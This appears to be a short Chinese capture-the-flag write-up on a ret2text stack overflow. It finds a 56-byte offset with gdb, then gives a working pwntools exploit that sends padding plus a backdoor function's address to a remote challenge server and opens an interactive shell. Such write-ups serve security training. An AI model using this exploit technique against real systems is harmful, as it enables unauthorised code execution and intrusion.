看源码,非常明显的栈溢出
直接有后门函数
checksec
后没有任何保护
是典型的ret2text
使用 gdb
调试,在 read
函数处下断点,运行,因为是64位的程序,得到栈空间为 RBP-RSI+8=0x70-0x40+8=56
使用垃圾数据填满栈空间后,覆盖返回地址为后门函数地址,直接执行后门函数
成功
exp:
from pwn import *
p = remote('114.116.54.89','10003')
payload='a'*56+p64(0x0000000000400751)
p.recvline()
p.sendline(payload)
p.interactive()